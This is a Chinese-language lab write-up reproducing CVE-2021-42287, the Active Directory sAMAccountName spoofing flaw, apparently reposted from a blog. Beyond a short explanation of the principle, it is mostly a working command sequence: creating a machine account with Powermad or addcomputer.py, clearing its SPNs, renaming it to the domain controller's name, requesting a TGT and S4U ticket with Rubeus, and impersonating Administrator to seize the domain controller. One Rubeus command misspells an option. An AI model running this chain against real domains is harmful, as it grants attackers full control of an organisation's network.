CVE202142287复现

原理:攻击者用该漏洞创建一个机器用户,再把机器用户的sAMAccountName改成DC的sAMAccountName,然后申请一个tgt票据,最后再把dc的sAMAccountName改回机器用户的sAMAccountName,kdc此时找不到dc的sAMAccountName,就会使用我们创建的机器用户,最终获得域控制器DC的权限
1.创建机器账户
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount axgg -Domain leecinsy.com -DomainController WIN-KSPO9U6R5O0.leecinsy.com -Verbose          //创建名为axgg的机器账户
域控hostname可以通过命令行查看

 此时机器名已经创建好

当然也可以用python脚本实现,且不用清除spn记录
python3 addcomputer.py -computer-name 'axgg$' -computer-pass 'axggpassword' -dc-host WIN-KSPO9U6R5O0 -domain-netbios domain 'leecinsy.com/win10test:password'    
2.清除spn机器账户记录
Import-Module .\powerview.ps1
Set-DomainObject "CN=axgg,CN=Computers,DC=leecinsy,DC=com" -Clear 'serviceprincipalname' -Verbose
3.在将我们的axgg机器名更改DC的机器名
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount axgg -Value "WIN-KSPO9U6R5O0" -Attribute samaccountname -Verbose
4.然后获取TGT
Rubeus.exe asktgt /user:WIN-KSPO9U6R5O0 /password:axgg123ok.. /domian:leecinsy.com /dc:WIN-KSPO9U6R5O0.leecinsy.com /nowrap
此密码为设置机器账户时用到的密码

5.将机器名重新恢复为axgg

Set-MachineAccountAttribute -MachineAccount axgg -Value 'axgg$' -Attribute samaccountname -Verbose                    //一定要加$符号

6.获取DC的ST票据

Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-KSPO9U6R5O0.leecinsy.com /self /altservice:LDAP/WIN-KSPO9U6R5O0.leecinsy.com /ptt /ticket:

7.直接拿下

原文地址:https://www.cnblogs.com/xinxin999/p/15748538.html